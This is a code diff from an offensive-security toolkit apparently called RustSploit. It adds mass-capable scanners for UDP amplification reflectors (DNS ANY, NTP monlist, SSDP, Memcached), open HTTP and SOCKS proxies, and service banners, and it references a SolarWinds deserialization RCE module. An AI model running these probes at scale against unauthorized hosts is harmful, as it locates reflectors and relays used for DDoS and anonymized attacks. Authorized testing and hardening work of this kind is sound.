.join(".rustsploit")
.join("results");
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
let filename = results_dir.join(format!("cve_2025_40551_{}.txt", host));
let report = format!(
"CVE-2025-40551 SolarWinds WHD Deserialization RCE\n\
@@ -23,7 +23,7 @@
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use futures::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
+2 -5
View File
@@ -24,11 +24,8 @@ pub async fn run(target: &str) -> Result<()> {
}, move |ip, port| {
async move {
let addr = format!("{}:{}", ip, port);
match tokio::time::timeout(
std::time::Duration::from_secs(3),
tokio::net::TcpStream::connect(&addr),
).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(3)).await {
Ok(_) => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
Some(format!("[{}] {}:{} open\n", ts, ip, port))
}
@@ -0,0 +1,428 @@
//! Amplification Scanner Module
//!
//! Scans for servers vulnerable to UDP amplification attacks.
//! Probes DNS (open resolvers), NTP (monlist), SSDP (M-SEARCH),
//! and Memcached (stats) to identify reflectors that could be
//! abused for volumetric DDoS.
//!
//! FOR AUTHORIZED SECURITY TESTING ONLY.
use anyhow::{anyhow, Result};
use colored::*;
use std::net::{IpAddr, SocketAddr};
use tokio::time::{timeout, Duration};
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no,
};
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
// ============================================================================
// MODULE INFO
// ============================================================================
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Amplification Scanner".to_string(),
description: "Scans for UDP amplification vulnerabilities (DNS open resolver, NTP monlist, SSDP M-SEARCH, Memcached stats). Identifies reflectors that could be abused for volumetric DDoS attacks.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.us-cert.gov/ncas/alerts/TA14-017A".to_string(),
"https://www.cloudflare.com/learning/ddos/udp-amplification-attack/".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Excellent,
}
}
// ============================================================================
// PROTOCOL PROBES
// ============================================================================
/// DNS ANY query for "google.com" — open resolvers respond with large records.
/// Amplification factor: ~28-54x (ANY queries on popular domains).
fn dns_probe() -> Vec<u8> {
let mut pkt = Vec::with_capacity(33);
// Transaction ID
pkt.extend_from_slice(&[0xAA, 0xBB]);
// Flags: standard query, recursion desired
pkt.extend_from_slice(&[0x01, 0x00]);
// Questions: 1, Answers: 0, Authority: 0, Additional: 0
pkt.extend_from_slice(&[0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
// QNAME: google.com
pkt.push(6); pkt.extend_from_slice(b"google");
pkt.push(3); pkt.extend_from_slice(b"com");
pkt.push(0); // root label
// QTYPE: ANY (0x00FF), QCLASS: IN (0x0001)
pkt.extend_from_slice(&[0x00, 0xFF, 0x00, 0x01]);
pkt
}
/// NTP MON_GETLIST_1 — vulnerable servers return a list of monitored clients.
/// Amplification factor: ~556x.
const NTP_MONLIST_PROBE: [u8; 8] = [0x17, 0x00, 0x03, 0x2A, 0x00, 0x00, 0x00, 0x00];
/// SSDP M-SEARCH — UPnP devices respond with service descriptions.
/// Amplification factor: ~30x.
const SSDP_MSEARCH_PROBE: &[u8] = b"M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: ssdp:all\r\n\
\r\n";
/// Memcached UDP stats — exposed servers return megabytes of cache statistics.
/// Amplification factor: ~51,000x.
fn memcached_probe() -> Vec<u8> {
let mut pkt = Vec::with_capacity(15);
// UDP binary header (request ID, sequence, total datagrams, reserved)
pkt.extend_from_slice(&[0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00]);
// "stats\r\n"
pkt.extend_from_slice(b"stats\r\n");
pkt
}
// ============================================================================
// PROTOCOL DETECTION
// ============================================================================
#[derive(Debug, Clone)]
struct ProbeResult {
protocol: &'static str,
port: u16,
response_size: usize,
amplification: f64,
detail: String,
}
/// Check if a DNS response indicates an open resolver.
fn check_dns(buf: &[u8], n: usize, probe_len: usize) -> Option<ProbeResult> {
if n < 12 { return None; }
// Check QR bit (response) and RCODE (no error)
let qr = (buf[2] >> 7) & 1;
let rcode = buf[3] & 0x0F;
if qr != 1 { return None; }
let answer_count = u16::from_be_bytes([buf[6], buf[7]]);
let rcode_str = match rcode {
0 => "NOERROR",
2 => "SERVFAIL",
5 => "REFUSED",
_ => "OTHER",
};
// Even SERVFAIL means the server accepted the query (open resolver)
if rcode == 5 { return None; } // REFUSED = not open
Some(ProbeResult {
protocol: "DNS",
port: 53,
response_size: n,
amplification: n as f64 / probe_len as f64,
detail: format!("rcode={}, answers={}", rcode_str, answer_count),
})
}
/// Check if an NTP response indicates monlist support.
fn check_ntp(buf: &[u8], n: usize) -> Option<ProbeResult> {
if n < 8 { return None; }
// NTP mode 7 response: first byte & 0x07 == 0x07, or response bit set
let mode = buf[0] & 0x07;
if mode != 7 && mode != 6 { return None; }
Some(ProbeResult {
protocol: "NTP",
port: 123,
response_size: n,
amplification: n as f64 / NTP_MONLIST_PROBE.len() as f64,
detail: format!("monlist response ({} bytes)", n),
})
}
/// Check if an SSDP response indicates a UPnP device.
fn check_ssdp(buf: &[u8], n: usize) -> Option<ProbeResult> {
if n < 10 { return None; }
let response = String::from_utf8_lossy(&buf[..n]);
if !response.contains("HTTP/1.1") && !response.contains("NOTIFY") {
return None;
}
let server = response.lines()
.find(|l| l.to_lowercase().starts_with("server:"))
.map(|l| l.split(':').nth(1).unwrap_or("").trim().to_string())
.unwrap_or_default();
Some(ProbeResult {
protocol: "SSDP",
port: 1900,
response_size: n,
amplification: n as f64 / SSDP_MSEARCH_PROBE.len() as f64,
detail: if server.is_empty() { "UPnP device".to_string() } else { format!("UPnP: {}", server) },
})
}
/// Check if a Memcached response indicates an exposed instance.
fn check_memcached(buf: &[u8], n: usize, probe_len: usize) -> Option<ProbeResult> {
if n < 8 { return None; }
let response = String::from_utf8_lossy(&buf[..n]);
if !response.contains("STAT") && !response.contains("END") {
return None;
}
let stat_count = response.matches("STAT ").count();
Some(ProbeResult {
protocol: "Memcached",
port: 11211,
response_size: n,
amplification: n as f64 / probe_len as f64,
detail: format!("{} stats returned", stat_count),
})
}
// ============================================================================
// PROBE ENGINE
// ============================================================================
/// Probe a single IP for all selected amplification protocols.
async fn probe_host(
ip: IpAddr,
protocols: &ProbeConfig,
timeout_ms: u64,
) -> Vec<ProbeResult> {
let mut results = Vec::new();
let dur = Duration::from_millis(timeout_ms);
if protocols.dns {
if let Some(r) = probe_single(ip, 53, &dns_probe(), dur, |buf, n, plen| check_dns(buf, n, plen)).await {
results.push(r);
}
}
if protocols.ntp {
if let Some(r) = probe_single(ip, 123, &NTP_MONLIST_PROBE, dur, |buf, n, _| check_ntp(buf, n)).await {
results.push(r);
}
}
if protocols.ssdp {
if let Some(r) = probe_single(ip, 1900, SSDP_MSEARCH_PROBE, dur, |buf, n, _| check_ssdp(buf, n)).await {
results.push(r);
}
}
if protocols.memcached {
let probe = memcached_probe();
if let Some(r) = probe_single(ip, 11211, &probe, dur, |buf, n, plen| check_memcached(buf, n, plen)).await {
results.push(r);
}
}
results
}
/// Send a single UDP probe and check the response.
async fn probe_single(
ip: IpAddr,
port: u16,
payload: &[u8],
dur: Duration,
check: impl Fn(&[u8], usize, usize) -> Option<ProbeResult>,
) -> Option<ProbeResult> {
let sock = crate::utils::udp_bind(None).await.ok()?;
let addr = SocketAddr::new(ip, port);
sock.send_to(payload, addr).await.ok()?;
let mut buf = [0u8; 4096];
match timeout(dur, sock.recv_from(&mut buf)).await {
Ok(Ok((n, _))) if n > 0 => check(&buf, n, payload.len()),
_ => None,
}
}
// ============================================================================
// CONFIGURATION
// ============================================================================
#[derive(Clone)]
struct ProbeConfig {
dns: bool,
ntp: bool,
ssdp: bool,
memcached: bool,
}
impl ProbeConfig {
fn all() -> Self {
Self { dns: true, ntp: true, ssdp: true, memcached: true }
}
fn enabled_names(&self) -> Vec<&'static str> {
let mut v = Vec::new();
if self.dns { v.push("DNS"); }
if self.ntp { v.push("NTP"); }
if self.ssdp { v.push("SSDP"); }
if self.memcached { v.push("Memcached"); }
v
}
}
fn display_banner() {
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| UDP Amplification Vulnerability Scanner |".cyan());
crate::mprintln!("{}", "| DNS (53) | NTP (123) | SSDP (1900) | Memcached (11211) |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
// ============================================================================
// MAIN ENTRY POINT
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
// --- Mass scan mode ---
if is_mass_scan_target(target) {
let protos_input = cfg_prompt_default(
"protocols", "Protocols to scan (dns,ntp,ssdp,memcached,all)", "all"
).await?;
let protocols = parse_protocols(&protos_input);
return run_mass_scan(target, MassScanConfig {
protocol_name: "Amplification",
default_port: 0, // unused — we scan each protocol's port
state_file: "amplification_mass_state.log",
default_output: "amplification_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, _port: u16| {
let protos = protocols.clone();
async move {
let results = probe_host(ip, &protos, 3000).await;
if results.is_empty() {
return None;
}
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let mut lines = Vec::new();
for r in &results {
lines.push(format!(
"[{}] {}:{} {} vulnerable ({}B response, {:.1}x amplification, {})",
ts, ip, r.port, r.protocol, r.response_size, r.amplification, r.detail
));
crate::mprintln!("\r{}", format!(
"[+] {}:{} {} — {:.1}x amplification ({} bytes, {})",
ip, r.port, r.protocol, r.amplification, r.response_size, r.detail
).green().bold());
}
Some(lines.join("\n") + "\n")
}
}).await;
}
// --- Single/multi-target mode ---
display_banner();
let protos_input = cfg_prompt_default(
"protocols", "Protocols to scan (dns,ntp,ssdp,memcached,all)", "all"
).await?;
let protocols = parse_protocols(&protos_input);
let timeout_ms: u64 = cfg_prompt_default(
"timeout", "Probe timeout (ms)", "3000"
).await?.parse().unwrap_or(3000);
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
crate::mprintln!("[*] Protocols: {}", protocols.enabled_names().join(", ").cyan());
crate::mprintln!("[*] Target: {}", target.yellow());
crate::mprintln!("[*] Timeout: {}ms", timeout_ms);
crate::mprintln!();
// Resolve target IP
let ip: IpAddr = target.parse().map_err(|_| {
// Try DNS resolution
use std::net::ToSocketAddrs;
format!("{}:0", target).to_socket_addrs()
.ok()
.and_then(|mut a| a.next())
.map(|sa| sa.ip())
.ok_or_else(|| anyhow!("Cannot resolve target: {}", target))
}).or_else(|r: Result<IpAddr, _>| r)?;
crate::mprintln!("[*] Scanning {}...", ip);
crate::mprintln!();
let results = probe_host(ip, &protocols, timeout_ms).await;
if results.is_empty() {
crate::mprintln!("{}", "[-] No amplification vulnerabilities found.".yellow());
} else {
crate::mprintln!("{}", format!(
"[+] Found {} amplification vulnerability(ies):", results.len()
).green().bold());
crate::mprintln!();
crate::mprintln!(" {:<12} {:<8} {:<12} {:<14} {}",
"Protocol".bold(), "Port".bold(), "Resp Size".bold(),
"Amplification".bold(), "Details".bold());
crate::mprintln!(" {}", "-".repeat(70).dimmed());
for r in &results {
let amp_color = if r.amplification > 100.0 {
format!("{:.1}x", r.amplification).red().bold().to_string()
} else if r.amplification > 10.0 {
format!("{:.1}x", r.amplification).yellow().to_string()
} else {
format!("{:.1}x", r.amplification).to_string()
};
crate::mprintln!(" {:<12} {:<8} {:<12} {:<14} {}",
r.protocol.green(), r.port, format!("{} B", r.response_size),
amp_color, r.detail);
if verbose {
crate::mprintln!(" {} Probe: {} bytes -> Response: {} bytes",
"->".dimmed(), probe_size(r.protocol), r.response_size);
}
}
crate::mprintln!();
// Risk summary
let max_amp = results.iter().map(|r| r.amplification).fold(0.0_f64, f64::max);
let risk = if max_amp > 500.0 { "CRITICAL".red().bold() }
else if max_amp > 50.0 { "HIGH".red() }
else if max_amp > 10.0 { "MEDIUM".yellow() }
else { "LOW".green() };
crate::mprintln!("[*] Risk level: {} (max amplification: {:.1}x)", risk, max_amp);
// Recommendations
crate::mprintln!();
crate::mprintln!("{}", "[*] Recommendations:".cyan().bold());
for r in &results {
match r.protocol {
"DNS" => crate::mprintln!(" - DNS: Restrict recursion to authorized clients (allow-recursion ACL)"),
"NTP" => crate::mprintln!(" - NTP: Disable monlist (restrict noquery in ntp.conf)"),
"SSDP" => crate::mprintln!(" - SSDP: Disable UPnP or block port 1900 at the firewall"),
"Memcached" => crate::mprintln!(" - Memcached: Disable UDP listener (-U 0) or bind to localhost only"),
_ => {}
}
}
}
crate::mprintln!();
Ok(())
}
// ============================================================================
// HELPERS
// ============================================================================
fn parse_protocols(input: &str) -> ProbeConfig {
let lower = input.to_lowercase();
if lower.contains("all") {
return ProbeConfig::all();
}
ProbeConfig {
dns: lower.contains("dns"),
ntp: lower.contains("ntp"),
ssdp: lower.contains("ssdp"),
memcached: lower.contains("memcache"),
}
}
fn probe_size(protocol: &str) -> usize {
match protocol {
"DNS" => 33,
"NTP" => 8,
"SSDP" => SSDP_MSEARCH_PROBE.len(),
"Memcached" => 15,
_ => 0,
}
}
+156
View File
@@ -0,0 +1,156 @@
//! Banner Grabber Scanner
//!
//! Grabs service banners from open ports to identify software versions
//! and potential vulnerabilities. Supports multi-port scanning with
//! protocol-specific probes.
//!
//! FOR AUTHORIZED SECURITY TESTING ONLY.
use anyhow::{anyhow, Result};
use colored::*;
use std::net::IpAddr;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{timeout, Duration};
use crate::utils::{cfg_prompt_default, cfg_prompt_port};
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
const DEFAULT_TIMEOUT_MS: u64 = 5000;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Banner Grabber".to_string(),
description: "Grabs service banners from open ports with protocol-specific probes (HTTP, FTP, SMTP, SSH, POP3, IMAP, MySQL, Redis, RTSP, Telnet). Identifies software versions for vulnerability assessment.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
#[derive(Debug, Clone)]
struct BannerResult {
service: &'static str,
banner: String,
}
/// Get the protocol-specific probe bytes for a port.
fn probe_for_port(port: u16) -> Option<&'static [u8]> {
match port {
80 | 443 | 8080 | 8443 | 8888 => Some(b"GET / HTTP/1.1\r\nHost: target\r\nConnection: close\r\n\r\n"),
554 => Some(b"OPTIONS rtsp://target/ RTSP/1.0\r\nCSeq: 1\r\n\r\n"),
_ => None, // Most services send banners on connect without a probe
}
}
/// Identify service from banner content.
fn identify_service(port: u16, banner: &str) -> &'static str {
let lower = banner.to_lowercase();
if lower.contains("ssh") { return "SSH"; }
if lower.contains("ftp") { return "FTP"; }
if lower.contains("smtp") || lower.contains("postfix") || lower.contains("exim") { return "SMTP"; }
if lower.contains("pop3") || lower.contains("+ok") { return "POP3"; }
if lower.contains("imap") { return "IMAP"; }
if lower.contains("http") { return "HTTP"; }
if lower.contains("mysql") || (banner.len() > 4 && banner.as_bytes()[0] < 0x20) { return "MySQL"; }
if lower.contains("redis") || lower.contains("+pong") { return "Redis"; }
if lower.contains("rtsp") { return "RTSP"; }
if lower.contains("vnc") || lower.starts_with("RFB ") { return "VNC"; }
if lower.contains("mongo") { return "MongoDB"; }
match port {
21 => "FTP", 22 => "SSH", 23 => "Telnet", 25 | 587 => "SMTP",
80 | 443 | 8080 => "HTTP", 110 => "POP3", 143 => "IMAP",
3306 => "MySQL", 5432 => "PostgreSQL", 6379 => "Redis",
_ => "Unknown",
}
}
/// Grab banner from a single port.
async fn grab_banner(ip: IpAddr, port: u16, dur: Duration) -> Option<BannerResult> {
let addr = format!("{}:{}", ip, port);
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
// Send probe if needed, then read
if let Some(probe) = probe_for_port(port) {
timeout(dur, stream.write_all(probe)).await.ok()?.ok()?;
}
let mut buf = [0u8; 4096];
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
if n == 0 { return None; }
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
if banner.is_empty() { return None; }
let service = identify_service(port, &banner);
Some(BannerResult { service, banner })
}
fn display_banner() {
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| Banner Grabber |".cyan());
crate::mprintln!("{}", "| Grab service banners to identify software versions |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
if is_mass_scan_target(target) {
let port: u16 = cfg_prompt_port("port", "Port to grab banners from", 22).await?;
return run_mass_scan(target, MassScanConfig {
protocol_name: "BannerGrab",
default_port: port,
state_file: "banner_grab_mass_state.log",
default_output: "banner_grab_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, port: u16| {
async move {
let result = grab_banner(ip, port, Duration::from_secs(5)).await?;
let first_line = result.banner.lines().next().unwrap_or("").to_string();
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
crate::mprintln!("\r{}", format!("[+] {}:{} [{}] {}", ip, port, result.service, first_line).green());
Some(format!("[{}] {}:{} [{}] {}\n", ts, ip, port, result.service, first_line))
}
}).await;
}
display_banner();
let ports_input = cfg_prompt_default("ports", "Ports to scan (comma-separated)", "21,22,23,25,80,110,143,443,3306,5432,6379,8080").await?;
let ports: Vec<u16> = ports_input.split(',')
.filter_map(|s| s.trim().parse().ok())
.collect();
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(DEFAULT_TIMEOUT_MS);
let dur = Duration::from_millis(timeout_ms);
let ip: IpAddr = target.parse().or_else(|_| {
use std::net::ToSocketAddrs;
format!("{}:0", target).to_socket_addrs()
.map_err(|e| anyhow!("Cannot resolve {}: {}", target, e))?
.next().map(|sa| sa.ip())
.ok_or_else(|| anyhow!("No addresses for {}", target))
})?;
crate::mprintln!("[*] Target: {}", ip.to_string().yellow());
crate::mprintln!("[*] Ports: {:?}", ports);
crate::mprintln!();
let mut results = Vec::new();
for &port in &ports {
match grab_banner(ip, port, dur).await {
Some(r) => {
let first_line = r.banner.lines().next().unwrap_or("");
crate::mprintln!(" {} {:<6} {:<12} {}",
"+".green(), port, r.service.cyan(), first_line);
results.push(r);
}
None => {
crate::mprintln!(" {} {:<6} {}", "-".dimmed(), port, "no banner / closed".dimmed());
}
}
}
crate::mprintln!();
crate::mprintln!("[*] {} banner(s) grabbed from {} port(s) scanned", results.len().to_string().green(), ports.len());
Ok(())
}
+1 -1
View File
@@ -108,7 +108,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
crate::mprint!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
match fetch_title(&client, url, &title_re).await {
+3
View File
@@ -22,3 +22,6 @@ pub mod waf_detector;
pub mod subdomain_scanner;
pub mod nbns_scanner;
pub mod honeypot_scanner;
pub mod amplification_scanner;
pub mod proxy_scanner;
pub mod banner_grabber;
+6 -8
View File
@@ -17,7 +17,7 @@ use std::{
Arc, Mutex,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
use tokio::{process::Command, sync::Semaphore, task, time::Duration};
use rand::RngExt;
use std::io::Read;
@@ -446,7 +446,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
)
.dimmed()
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
if !successes.is_empty() {
@@ -482,7 +482,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
// Clear progress line
crate::mprint!("\r{}\r", " ".repeat(80));
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
let up_hosts = success_counter.load(Ordering::Relaxed);
crate::mprintln!(
@@ -607,12 +607,11 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
tasks.push(tokio::spawn(async move {
let socket = SocketAddr::new(ip, port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(_stream)) => {
match crate::utils::network::tcp_connect_addr(socket, timeout).await {
Ok(_stream) => {
// Connection successful - drop stream immediately
Some(format!("TCP/{}", port))
}
Ok(Err(_)) => None,
Err(_) => None,
}
}));
@@ -988,8 +987,7 @@ fn get_local_ipv4() -> Option<Ipv4Addr> {
}
// Fallback to UDP connection trick if pnet fails
use std::net::UdpSocket;
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
if let Ok(socket) = crate::utils::network::blocking_udp_bind(None) {
if socket.connect("8.8.8.8:80").is_ok() {
if let Ok(local_addr) = socket.local_addr() {
if let IpAddr::V4(ipv4) = local_addr.ip() {
+36 -15
View File
@@ -66,6 +66,7 @@ const COMMON_PORTS: &[u16] = &[
];
// Service detection map
#[inline]
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
@@ -435,6 +436,12 @@ async fn scan_tcp(
// Bind to custom source port if configured
if let Some(src_port) = source_port {
// Allow multiple sockets to share the same source port — each connects
// to a different remote addr:port, so there is no actual conflict.
if let Err(e) = socket.set_reuse_address(true) { crate::meprintln!("[!] SO_REUSEADDR error: {}", e); }
#[cfg(target_os = "linux")]
if let Err(e) = socket.set_reuse_port(true) { crate::meprintln!("[!] SO_REUSEPORT error: {}", e); }
let bind_addr = if addr.is_ipv4() {
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
} else {
@@ -495,7 +502,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
return (banner, service.to_string());
}
_ => {}
}
@@ -525,7 +532,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
return (banner, "SSH".to_string());
}
}
}
@@ -535,7 +542,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
return (banner, service.to_string());
}
}
}
@@ -544,25 +551,26 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
#[inline]
fn detect_service_from_banner(banner: &str, port: u16) -> &'static str {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
"SSH"
} else if banner_lower.contains("ftp") {
"FTP".into()
"FTP"
} else if banner_lower.contains("smtp") {
"SMTP".into()
"SMTP"
} else if banner_lower.contains("pop3") {
"POP3".into()
"POP3"
} else if banner_lower.contains("imap") {
"IMAP".into()
"IMAP"
} else if banner_lower.contains("http") {
"HTTP".into()
"HTTP"
} else if banner_lower.contains("mysql") {
"MySQL".into()
"MySQL"
} else {
get_service_name(port).to_string()
get_service_name(port)
}
}
@@ -586,12 +594,25 @@ async fn scan_udp(
) -> Option<String> {
// Bind address (source port logic)
let sock = if let Some(src_port) = source_port {
let domain = if ip.is_ipv4() { Domain::IPV4 } else { Domain::IPV6 };
let raw = match Socket::new(domain, Type::DGRAM, Some(Protocol::UDP)) {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
if let Err(e) = raw.set_reuse_address(true) { crate::meprintln!("[!] SO_REUSEADDR error: {}", e); }
#[cfg(target_os = "linux")]
if let Err(e) = raw.set_reuse_port(true) { crate::meprintln!("[!] SO_REUSEPORT error: {}", e); }
if let Err(e) = raw.set_nonblocking(true) { crate::meprintln!("[!] Socket option error: {}", e); }
let bind_addr = if ip.is_ipv4() {
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
} else {
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), src_port)
};
match UdpSocket::bind(bind_addr).await {
if let Err(e) = raw.bind(&bind_addr.into()) { crate::meprintln!("[!] Socket bind error: {}", e); }
let std_sock: std::net::UdpSocket = raw.into();
match UdpSocket::from_std(std_sock) {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
}
@@ -730,7 +751,7 @@ impl ProgressTracker {
).cyan());
// Note: This is in a sync context (ProgressTracker), so we use blocking flush
// The ProgressTracker is called from async context but uses sync printing
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
if self.current == self.total {
crate::mprintln!();
+232
View File
@@ -0,0 +1,232 @@
//! Open Proxy Scanner
//!
//! Detects open HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent proxies.
//! Supports single-target, subnet, and mass scan modes.
//!
//! FOR AUTHORIZED SECURITY TESTING ONLY.
use anyhow::{anyhow, Result};
use colored::*;
use std::net::IpAddr;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{timeout, Duration};
use crate::utils::cfg_prompt_default;
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
const DEFAULT_PORTS: &str = "8080,3128,1080,8888,9050,80,3129,8118";
const CONNECT_HOST: &str = "httpbin.org";
const CONNECT_IP: [u8; 4] = [54, 147, 74, 89]; // httpbin.org fallback IP
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Open Proxy Scanner".to_string(),
description: "Scans for open proxy servers: HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent. Identifies proxies that can be used for traffic relay without authentication.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// PROXY DETECTION
// ============================================================================
#[derive(Debug, Clone)]
struct ProxyHit {
port: u16,
kind: &'static str,
detail: String,
}
/// Check for HTTP CONNECT proxy.
async fn check_http_connect(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
let addr = format!("{}:{}", ip, port);
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
let req = format!("CONNECT {}:80 HTTP/1.1\r\nHost: {}\r\n\r\n", CONNECT_HOST, CONNECT_HOST);
timeout(dur, stream.write_all(req.as_bytes())).await.ok()?.ok()?;
let mut buf = [0u8; 1024];
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.starts_with("HTTP/1.1 200") || resp.starts_with("HTTP/1.0 200") {
Some(ProxyHit { port, kind: "HTTP CONNECT", detail: "tunnel established".to_string() })
} else if resp.starts_with("HTTP/") && resp.contains("407") {
Some(ProxyHit { port, kind: "HTTP CONNECT (auth required)", detail: "proxy requires authentication".to_string() })
} else {
None
}
}
/// Check for SOCKS5 proxy (no auth).
async fn check_socks5(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
let addr = format!("{}:{}", ip, port);
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
// Greeting: version 5, 2 methods (no-auth + user/pass)
timeout(dur, stream.write_all(&[0x05, 0x02, 0x00, 0x02])).await.ok()?.ok()?;
let mut buf = [0u8; 2];
timeout(dur, stream.read_exact(&mut buf)).await.ok()?.ok()?;
if buf[0] != 0x05 { return None; }
match buf[1] {
0x00 => Some(ProxyHit { port, kind: "SOCKS5", detail: "open, no auth required".to_string() }),
0x02 => Some(ProxyHit { port, kind: "SOCKS5 (auth required)", detail: "accepts user/pass auth".to_string() }),
_ => None,
}
}
/// Check for SOCKS4 proxy.
async fn check_socks4(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
let addr = format!("{}:{}", ip, port);
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
// SOCKS4 CONNECT to httpbin.org:80
let mut pkt = vec![0x04u8, 0x01, 0x00, 0x50]; // version, connect, port 80
pkt.extend_from_slice(&CONNECT_IP);
pkt.push(0x00); // null-terminated userid
timeout(dur, stream.write_all(&pkt)).await.ok()?.ok()?;
let mut buf = [0u8; 8];
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
if n >= 2 && buf[1] == 0x5A {
Some(ProxyHit { port, kind: "SOCKS4", detail: "request granted".to_string() })
} else if n >= 2 && buf[1] == 0x5B {
Some(ProxyHit { port, kind: "SOCKS4 (rejected)", detail: "request rejected".to_string() })
} else {
None
